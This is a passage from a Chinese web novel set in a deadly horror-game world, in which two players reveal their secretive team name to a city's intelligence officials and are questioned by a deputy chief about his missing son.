得到答案后,她看着记录皱眉:“负责接送你们的不是第三小队吗?” 聂远语气平稳:“第三小队全员牺牲,和玩家一起被污染成触手怪物,向这二位发动了攻击。我在附近巡逻,正好碰到。” 女人记录的动作僵住,垂首说:“三十个人,全都……好,我知道了。” 在这场残酷的游戏中,死亡只是其中悲伤而又不值一提的话题。 “问一下二位游戏内的小队代号。”女人说。 “敬神者。”阮钰回答。 随着这三个字说出口,原本寂静的会议室里猛地传出一片起立和推倒桌椅的杂乱声。 所有人都瞬间起立,目不转睛地看着二人,隐藏在窥神眼镜下的眼睛充斥着不同的情绪。 包括聂远和女人,同样露出不加掩饰的震惊和探究。 魏柏图被他们过激的行为吓了一跳。 “敬神者……居然是我们江城的队伍?”女人声音惊颤,有着难掩的欣喜,回神后她立刻对阮钰二人说:“你们请随我来。” 玩家们用复杂的眼神目送他们离开,有人试图伸手,却被身边的同伴拦住。 沉默的气氛里透着怪异。 阮钰跟随女人前往上层,聂远跟随其后。 一直走上了五楼,女人在一间低调的办公室前停下,礼貌地敲了敲门。 “请进。”沧桑沙哑的声音传出。 女人推门而入,阮钰看到了办公室里的人。 一个满头花发,但脸部皮肤看起来仅有四十多岁的中年人。 他身体挺直,正在阅览纸质文件,双眼炯炯有神,嘴角带着疲惫的和善笑容:“怎么了?玩家们出问题了?” 女人摇头,尊敬地微微俯身,说:“聂队长护送这二位到达集合地,询问后得知,这二位来自敬神者小队。” “敬神者?”中年人双目如炬,看了阮钰二人一眼后,目光便彻底锁在阮钰身上。 他一眼就找到了二人中的主心骨。 比起魏柏图紧张又畏首畏尾的气质,处变不惊的阮钰看上去冷静且可靠。 “你们下去吧。”中年人摆摆手,用不可拒绝的语气驱赶他们。 聂远和女人立刻离开,走的时候还不忘关上门。 隔着门板,阮钰听到他们在这一层挨个开门,“客气”地请其他人离开,直到楼层内只剩这间屋子里的三人。 中年人用手势示意二人坐下。 “抱歉,你们在论坛和游戏里闹出的动静太大,现在‘敬神者小队’已经被列入绝密,我们必须保险一点。”中年人解释说。 “理解。”阮钰点头,直白地说:“您可以直入主题,不必浪费双方时间。” “好,在聊正事之前,我先做个简单的自我介绍,并向你们询问一件私事。”中年人放下文件,“我叫罗安国,任职江城情报部副部长。” “我有个不成器的儿子,名叫罗威,也是敬神者小队成员。他已经失联八个小时了,我想知道他是否还活着。”罗安国望着阮钰。